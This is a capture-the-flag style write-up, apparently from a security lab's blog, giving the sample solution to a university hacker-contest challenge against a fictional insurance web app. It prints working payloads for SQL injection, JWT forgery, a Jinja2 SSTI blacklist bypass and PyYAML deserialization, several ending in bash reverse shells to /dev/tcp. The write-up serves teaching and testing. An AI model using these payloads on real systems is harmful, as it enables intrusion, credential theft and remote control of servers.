{"id":19966,"date":"2023-04-17T12:09:26","date_gmt":"2023-04-17T10:09:26","guid":{"rendered":"https:\/\/herolab.usd.de\/?p=19966"},"modified":"2023-04-17T12:44:27","modified_gmt":"2023-04-17T10:44:27","slug":"write-up-hacker-contest-challenge-summer-23","status":"publish","type":"post","link":"https:\/\/herolab.usd.de\/en\/write-up-hacker-contest-challenge-summer-23\/","title":{"rendered":"Write-Up Registration Challenge Hacker Contest Summer 23"},"content":{"rendered":"\n<p>In the summer semester of 2023, our \"Hacker Contest\" will be held again at <a href=\"https:\/\/www.tu-darmstadt.de\/\" target=\"_blank\" rel=\"noopener\">Darmstadt University (TU)<\/a> and <a href=\"https:\/\/h-da.de\/\" target=\"_blank\" rel=\"noopener\">Darmstadt University of Applied Sciences (h_da)<\/a>. In the popular course, students get real insights into IT security and gain hands-on experience with tools and methods to search for vulnerabilities in networks and systems within our <a href=\"https:\/\/herolab.usd.de\/en\/our-pentestlab\/\">PentestLab<\/a>.<\/p>\n\n\n\n<p>As every semester, prospective participants took on the Hacker Contest Challenge to qualify for participation.<\/p>\n\n\n\n<p>If you are curious to know what a Hacker Contest Challenge looks like, or which flags you might have missed this time: This is our sample solution for the summer semester Hacker Contest Challenge.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Table of Contents<\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li><a href=\"#Scenario\">Scenario<\/a><\/li>\n\n\n\n<li><a href=\"#Challenge\" data-type=\"internal\" data-id=\"#Challenge\">Challenge<\/a><\/li>\n\n\n\n<li><a href=\"#Disclaimer\" data-type=\"internal\" data-id=\"#Disclaimer\">Disclaimer<\/a><\/li>\n\n\n\n<li><a href=\"#Vulnerabilities\" data-type=\"internal\" data-id=\"#Vulnerabilities\">Vulnerabilities<\/a>\n<ul class=\"wp-block-list\">\n<li><a href=\"#Reflected-XSS-in-Custom-Errorhandler\">Reflected XSS in Custom Errorhandler<\/a><\/li>\n\n\n\n<li><a href=\"#Reflected-XSS-in-Usernames\" data-type=\"internal\">Reflected XSS in Usernames<\/a><\/li>\n\n\n\n<li><a href=\"#Open-Redirect-in-\/login\">Open Redirect in \/login<\/a><\/li>\n\n\n\n<li><a href=\"#Denial-of-Service-in-the-Autoreviewer\">Denial of Service in the Autoreviewer<\/a><\/li>\n\n\n\n<li><a href=\"#SSRF-via-\/checkapi\">SSRF via \/checkapi<\/a><\/li>\n\n\n\n<li><a href=\"#sql-injection-in-claims\">SQL Injection in \/claims<\/a><\/li>\n\n\n\n<li><a href=\"#Authentication-Bypass-via-JWT-Kid-Header\">Authentication Bypass via JWT Kid Header<\/a><\/li>\n\n\n\n<li><a href=\"#ssti-in-custom-errorhandler\">SSTI in Custom Errorhandler<\/a><\/li>\n\n\n\n<li><a href=\"#Arbitrary-File-Upload-in-Admin-Panel-Leading-To-RCE\">Arbitrary File Upload in Admin Panel Leading To RCE<\/a><\/li>\n\n\n\n<li><a href=\"#SSRF-and-Insecure-Deserialization-in-Admin-Panel\">SSRF and Insecure Deserialization in Admin Panel<\/a><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><a href=\"#Misconfigurations\">Misconfigurations<\/a>\n<ul class=\"wp-block-list\">\n<li><a href=\"#No-ACLs-and-Default-Access\">No ACLs and Default Access<\/a><\/li>\n\n\n\n<li><a href=\"#Unencrypted-Communication\">Unencrypted Communication<\/a><\/li>\n\n\n\n<li><a href=\"#Insecure-Protocols\">Insecure Protocols<\/a><\/li>\n\n\n\n<li><a href=\"#Client-Authentication-Requested\">Client Authentication Requested<\/a><\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"Scenario\">Scenario<\/h2>\n\n\n\n<p>For this challenge, you assumed the role of a pentester tasked with testing an early prototype of Munich's newest insurance startup, the InsuTec AG. Since insurance companies handle large amounts of money and sensitive customer data, security in their applications is of utmost importance.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"Challenge\">Challenge<\/h2>\n\n\n\n<p>As external security researchers, it was your task to find and report different types of security vulnerabilities in the given system. InsuTec AG's developers expected vulnerability descriptions that are easy to understand and, most importantly, easy to reproduce. The program was looking for vulnerabilities that directly affect the protection goals of information security and whose exploitation could cause direct damage to users or operators.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"Disclaimer\">Disclaimer<\/h2>\n\n\n\n<p>Considering that InsuTec AG developed a complex application, the presented vulnerabilities in this document are to be understood as a mere example of what a security researcher could find during a pentest.<br>As always in creative tasks such as hacking, it is possible to find security flaws beyond what is mentioned in this write-up and also to use different methods and techniques to discover and\/or exploit the vulnerabilities demonstrated below.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"Vulnerabilities\">Vulnerabilities<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Reflected-XSS-in-Custom-Errorhandler\">Reflected XSS in Custom Errorhandler<\/h3>\n\n\n\n<p>When a user requests a non-existent URL such as <strong>http:\/\/locahost:8080\/nonexistent<\/strong> a custom handler displays an error message which reflects the path without proper sanitization, leaving HTML characters such as \"<strong>&lt;<\/strong>\", \"<strong>\/<\/strong>\", \"<strong>&gt;<\/strong>\" and \" <strong>'<\/strong> \" in the user-supplied input.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">def not_found(e):\n    template_404 = \"\"\"\n    &lt;h1 class='title'&gt;Not found!&lt;\/h1&gt;\n    &lt;h2 class='subtitle'&gt;You were looking for: %s &lt;\/h2&gt;\n    \"\"\" % sanitize_input(unquote(request.url))\n    return render_template_string(template_404), 404<\/pre>\n\n\n\n<p>An attacker could therefore create a link containing JavaScript. If, for example, a user were to follow a link similar to <strong>http:\/\/localhost:8080\/&lt;script&gt;alert('usdAG')&lt;\/script&gt;<\/strong> XSS occurs.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Reflected-XSS-in-Usernames\">Reflected XSS in Usernames<\/h3>\n\n\n\n<p>The HTML Signup Form does not validate the email input field, which makes it possible to register an \"email\" containing JavaScript code, i.e. <strong>tooltip onmouseover=alert('usdAG')<\/strong>. After signup, the user is redirected to the <strong>\/login<\/strong> endpoint where the chosen email is automatically filled in without proper sanitization, which causes the above payload to be executed.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Open-Redirect-in-login\">Open Redirect in \/login<\/h3>\n\n\n\n<p>As the 'next' parameter in the login form does not check to only accept local URIs, an attacker can create a link similar to <strong>http:\/\/localhost:8080\/login?next=http:\/\/redirect.here<\/strong> which when followed by a user will redirect them to <strong>http:\/\/redirect.here<\/strong> after login.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Denial-of-Service-in-the-Autoreviewer\">Denial of Service in the Autoreviewer<\/h3>\n\n\n\n<p>In <strong>\/make_claim<\/strong> users can provide details about their insurance claim, such as type and the estimated sum of damages. A client-side filter is present to prevent a user from entering any non-natural number characters in the \"Damage Sum\" field. However, an attacker can bypass said filter by sending a crafted post-request to the autoreviewer. Due to a lack of server-side filtering and error handling, this service will crash and not recover once encountering a non-integer damage sum.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"SSRF-via-checkapi\">SSRF via \/checkapi<\/h3>\n\n\n\n<p>Sending a GET request to \/checkapi returns a redirection that sets a 'health' parameter. By default, this parameter contains the URL <strong>http:\/\/localhost:8080\/api\/query\/debug<\/strong>. The server will then send a GET request to this URL and return the HTML response.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">@main.route('\/checkapi', methods = ['GET'])\ndef check():\n    checkpath = request.args.get('health')\n    if checkpath is None:\n        return redirect(url_for('main.check', health='http:\/\/localhost:8080\/api\/query\/debug'))\n    resp = requests.get(url=unquote(checkpath))\n    try:\n        page=resp.content.decode('utf-8')\n        return render_template('healthcheck.html', data=page)\n    except Exception as e:\n        flash(f\"There has been an error in rendering the internal page, maybe the url you provided was faulty? The error was {e}\")\n        return redirect(url_for('main.index'), 302)<\/pre>\n\n\n\n<p>The provided URL however is directly embedded into the server's GET request, thus an attacker can change the health parameter to cause an arbitrary URL which will then be requested by the server.<br>Within the system exists an admin panel, which is protected by a whitelist, only allowing requests from localhost or the server hosting the web application.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">allowed = ['172.20.0.3', '172.20.0.4']\n\ndef whitelist(func):\n    @wraps(func)\n    def decorator(*args, **kwargs):\n        if request.remote_addr not in allowed:\n            abort(403)\n        print(request.remote_addr)\n        return func(*args,**kwargs)\n    return decorator<\/pre>\n\n\n\n<p>An attacker can use the above vulnerability to cause the server to request <strong>http:\/\/adminpanel:10001\/<\/strong>. As this request comes from the whitelisted server, the admin panel will respond to the request, returning the current application config.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"SQL-Injection-in-claims\">SQL Injection in \/claims<\/h3>\n\n\n\n<p>Checking the status of a claim by providing a claim ID will query the database using the following statement:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">prepared_statement = f'SELECT description,damage_sum,status FROM Claims WHERE user_id = \"{user}\" AND public_id = \"{claimid}\"<\/pre>\n\n\n\n<p>As this query - despite its name - is not a prepared statement and the user-provided inputs are not properly escaped, it is possible to inject SQL via a payload similar to <strong>validClaimID\" AND 1=2 UNION SELECT email, password, admin FROM User WHERE admin = 1;--<\/strong>.<br>This exemplary payload will then return the email and hashed password of any administrator.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Authentication-Bypass-via-JWT-Kid-Header\">Authentication Bypass via JWT Kid Header<\/h3>\n\n\n\n<p>After logging in successfully the user is granted a JSON Web Token (JWT) for authentication and authorization. The JWT contains the following header<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"js\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{\n  \"alg\": \"HS256\",\n  \"kid\": \"L2FwcC9zZWNyZXRzL3dlYmFwcC9qd3Qua2V5\",\n  \"typ\": \"JWT\"\n}<\/pre>\n\n\n\n<p>and payload<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"js\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{\n  \"public_id\": \"somepublicid\",\n  \"exp\": \"someexpirydate\",\n  \"priv\": false\n}<\/pre>\n\n\n\n<p>For administrative users, \"<strong>priv<\/strong>\" will be set to true, else it is set to false. The \"<strong>kid<\/strong>\" is encoded in base64, decoding it will yield \"<strong>\/app\/secrets\/webapp\/jwt.key<\/strong>\". In this case, the server signs the token and verifies its signature - and thus validity - by using the key at the location provided in the \"<strong>kid<\/strong>\"-header.<br>An attacker is able to change the value of the \"<strong>kid<\/strong>\" parameter by inserting a base64 encoded file path.<br>Therefore, in order to create a valid token, this path needs to point to a file with a static value, such as <strong>\/proc\/sys\/kernel\/randomize_va_space<\/strong>, which will always return either 0 or 2.<br>The attacker can now change the \"<strong>priv<\/strong>\" parameter to true and sign the newly created JWT with the corresponding value, 2 in our example, granting them a valid token with administrative privileges.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"SSTI-in-Custom-Errorhandler\">SSTI in Custom Errorhandler<\/h3>\n\n\n\n<p>Flask uses Jinja2 for creating dynamic HTML templates. To achieve this, code, variables etc. have to be placed within <strong>{{ }}<\/strong> brackets to then be executed or evaluated.<br>The custom error handler that allows for the previously described XSS to occur also allows for embedding such brackets and executing commands like <strong>{{config}}<\/strong> - or it would, hadn't the developers considered this possibility and added the following blacklist:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">blacklist = \n[\"request\",\"config\",\"url_for\",\"self\", \"__\", \".\", \"[]\",\"[\",\"]\",\"{{\", \"}}\",\"\\x5f\\x5f\"]<\/pre>\n\n\n\n<p>But before we get into how to get around this blacklist, let's first have a look at how such template injections are usually carried out. The above example ( <strong>{{config}}<\/strong> ) dumps configuration data of the flask app, which by itself might already be useful, as this can contain secrets to sign CSRF Tokens, JWTs or similar.<br>However, we can go even further: By navigating the Python class hierarchy, we can get as far as achieving full-on RCE in the target. For this we might want to run system commands via Python's \"os\" library, but how do we get to it? An attacker can start with <strong>{{ ''.__class\\_\\_}}<\/strong>, which will return <strong>&lt;class 'str'&gt;<\/strong>. From here we can access <strong>&lt;class 'object'&gt;<\/strong> by inputting <strong>{{ ''.__class\\_\\_.__base\\_\\_ }}<\/strong> which, by also attaching <strong>__subclasses\\_\\_()[140]<\/strong>, let's us access <strong>&lt;class 'warnings.catch_warnings'&gt;<\/strong>. With some further research and trial-and-error, we eventually enter <strong>{{''.__class\\_\\_.__base\\_\\_.__subclasses\\_\\_()[140].__init\\_\\_.__globals\\_\\_.get('sys').modules.get('os')}}<\/strong> which gets us <strong>&lt;module 'os' from '\/usr\/local\/lib\/python3.9\/os.py'&gt;<\/strong>. From here on out we can call arbitrary system commands within the \"<strong>os<\/strong>\" package.<br>If only it were so easy. In our case, an attacker additionally has to figure out how to circumvent the aforementioned blacklist that prevents us from using \"<strong>{{ }}<\/strong>\", \"<strong>__<\/strong>\" and \"<strong>[ ]<\/strong>\" - even \"<strong>.<\/strong>\" is blocked.<br>So how could an attacker get around these restrictions? First of all, Jinja2 provides another way to wrap code, namely through the use of <strong>{% %}<\/strong>. This syntax is used in loops and if statements, so a possible approach will be wrapping our payload in the condition of an if statement since the condition will most likely be evaluated by the server without any prior checks. As to the other backlisted characters, luckily Jinja2 provides us with filters such as <strong>attr()<\/strong>, which in conjunction with <strong>|<\/strong> replaces the <strong>\".\", join()<\/strong> for concatenating strings, while <strong>__getitem\\_\\_(140)<\/strong> allows us to avoid using python's usual list syntax (<strong>somelist[someindex]<\/strong>). All in all the following is a valid payload for spawning a reverse shell:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{% if parse|attr((\"\\_\"*2, \"class\", \"\\_\"*2)|join)\n|attr((\"\\_\"*2, \"base\", \"\\_\"*2)|join)\n|attr((\"\\_\"*2,\"subclasses\",\"\\_\"*2)|join)()\n|attr((\"\\_\"*2,\"getitem\",\"\\_\"*2)|join)(140)\n|attr((\"\\_\"*2,\"init\",\"\\_\"*2)|join)\n|attr((\"\\_\"*2,\"globals\",\"\\_\"*2)|join)\n|attr((\"\\_\"*2,\"getitem\",\"\\_\"*2)|join)('sys')\n|attr(\"modules\")\n|attr((\"\\_\"*2,\"getitem\",\"\\_\"*2)|join)('os')\n|attr(\"popen\")('bash -c \"bash -i &gt;&amp; \/dev\/tcp\/2886795265\/1234 0&gt;&amp;1\"')\n|attr(\"read\")() == exploit%}a{% endif %}<\/pre>\n\n\n\n<p>Since \"<strong>.<\/strong>\" is blocked by the blacklist, the IP used for the reverse shell (<strong>172.17.0.1<\/strong>, the default docker host IP) is written in decimal or dword notation.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Arbitrary-File-Upload-in-Admin-Panel-Leading-To-RCE\">Arbitrary File Upload in Admin Panel Leading To RCE<\/h3>\n\n\n\n<p>The admin panel service contains a feature enabling a local administrator to upload Yaml configuration files to the service. However, no filtering to prevent upload vulnerabilities is present. Therefore an attacker can, through using the SSRF described below or by spoofing their IP address, upload arbitrary files to the server, allowing them to gain RCE in the admin panel by uploading an HTML template containing a payload like<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{{ \"foo\".__class__.__base__.__subclasses__()[%d]\n([\"bash\", \"-c\", \"bash -i &gt;&amp; \/dev\/tcp\/172.20.0.2\/1234 0&gt;&amp;1\"]) }}\n % popenIndex<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"SSRF-and-Insecure-Deserialization-in-Admin-Panel\">SSRF and Insecure Deserialization in Admin Panel<\/h3>\n\n\n\n<p>This vulnerability hinges mainly on the SSRF described previously, but with a few additional twists involved.<br>Exploiting the SSRF further one might come across the \/config endpoint running on <strong>http:\/\/localhost:10001<\/strong> where .yaml configuration files can be uploaded. As this endpoint is also whitelist-protected an attacker has to make use of said SSRF to access the page.<br>To upload a new config file, the easiest way is to use the fittingly named \/debug\/proxy endpoint (<strong>http:\/\/localhost:8080\/debug\/proxy<\/strong>).<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">@api.route('\/debug\/proxy', methods = ['POST'])\ndef proxy():\n    url = request.args.get('url')\n    file = request.files['file']\n    req_data = request.get_data()\n    resp = requests.post(url=unquote(url), files={'file':file}, data=req_data)\n    return make_response(resp.content.decode('utf-8'))<\/pre>\n\n\n\n<p>This function simply takes an incoming POST request and sends an equivalent POST request to a user-supplied URL. In order to now upload a new <strong>.yaml<\/strong> config, the attack has to change the previously obtained HTML as follows:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"html\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;div&gt;\n    &lt;!DOCTYPE html&gt;\n&lt;html&gt;\n  &lt;head&gt;\n    &lt;title&gt;Config Upload&lt;\/title&gt;\n  &lt;\/head&gt;\n  &lt;body&gt;\n    &lt;h1&gt;Upload a new YAML config&lt;\/h1&gt;\n    &lt;form action=\"\/config to http:\/\/localhost:8080\/debug\/proxy?url=http:\/\/adminpanel:10001\/config\" method=\"POST\" enctype=\"multipart\/form-data\"&gt;\n      &lt;input type=\"file\" name=\"file\"&gt;\n      &lt;input type=\"hidden\" name=\"csrf_token\" value=\"IjQxMzM3YjY5YWQ5MzQ1YzE0ZGI1MjJmN2IwMjg1ZDYyMDk3NjAyZTci.ZBge_w.0cpTAe2xQeMBenX-4cn6XpSRrsU\"&gt;\n      &lt;!-- We should seriously consider adding CSRF tokens for this site. \/\/Dev --&gt;\n      &lt;br&gt;\n      &lt;button type=\"submit\"&gt;Upload&lt;\/button&gt;\n    &lt;\/form&gt;\n  &lt;\/body&gt;\n&lt;\/html&gt;\n    &lt;input type=\"hidden\" name=\"csrf_token\" value=\"IjQxMzM3YjY5YWQ5MzQ1YzE0ZGI1MjJmN2IwMjg1ZDYyMDk3NjAyZTci.ZBge_w.0cpTAe2xQeMBenX-4cn6XpSRrsU\"&gt;\n&lt;\/div&gt;<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>First enter a valid CSRF Token in the corresponding field within the HTML Form<\/li>\n\n\n\n<li>Then change the endpoint to which the POST request is sent from <strong>\/config<\/strong> to <strong>http:\/\/localhost:8080\/debug\/proxy?url=http:\/\/adminpanel:10001\/config<\/strong><\/li>\n\n\n\n<li>Lastly, upload a .yaml file containing a chosen payload through the GUI and submit the form<\/li>\n<\/ul>\n\n\n\n<p>The submitted config file will then be loaded by Pyyaml in the backend. Herein lies the insecure deserialization vulnerability. By providing a config with the following content <strong>!!python\/object\/new:os.system ['bash -c \"bash -i &gt;&amp; \/dev\/tcp\/172.17.0.1\/1234 0&gt;&amp;1\"']<\/strong><br>the attacker is able to create a reverse shell and thereby gain full access to the underlying container.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"Misconfigurations\">Misconfigurations<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"No-ACLs-and-Default-Access\">No ACLs and Default Access<\/h3>\n\n\n\n<p>There are no ACLs specified within the system and <strong>ALLOW_EVERYONE_IF_NO_ACL_FOUND<\/strong> is set to '<strong>true<\/strong>'. This allows every Kafka consumer or producer full access to every topic, regardless of whether or not this access is required for operation.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Unencrypted-Communication\">Unencrypted Communication<\/h3>\n\n\n\n<p>Communication between the <strong>\/review<\/strong> endpoint and the Kafka Brokers is carried out in plaintext, without any encryption.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Insecure-Protocols\">Insecure Protocols<\/h3>\n\n\n\n<p>Both Brokers support deprecated protocols, namely <strong>TLSv1<\/strong> and <strong>TLS v1.1<\/strong>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Client-Authentication-Requested\">Client Authentication Requested<\/h3>\n\n\n\n<p>Client Authentication is set to '<strong>requested<\/strong>' as opposed to '<strong>required<\/strong>'. This can lead to an authentication bypass should the client be able to identify itself, as the brokers will fall back to unauthenticated communication.<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In the summer semester of 2023, our \"Hacker Contest\" will be held again at Darmstadt University (TU) and Darmstadt University of Applied Sciences (h_da). In the popular course, students get real insights into IT security and gain hands-on experience with tools and methods to search for vulnerabilities in networks and systems within our PentestLab. As [&hellip;]<\/p>\n","protected":false},"author":114,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"off","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"categories":[76],"tags":[193,128,86],"class_list":["post-19966","post","type-post","status-publish","format-standard","hentry","category-news","tag-hacker-contest-en","tag-security-analysis-en","tag-security-research-en"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/posts\/19966","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/114"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=19966"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/posts\/19966\/revisions"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=19966"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/categories?post=19966"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/tags?post=19966"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}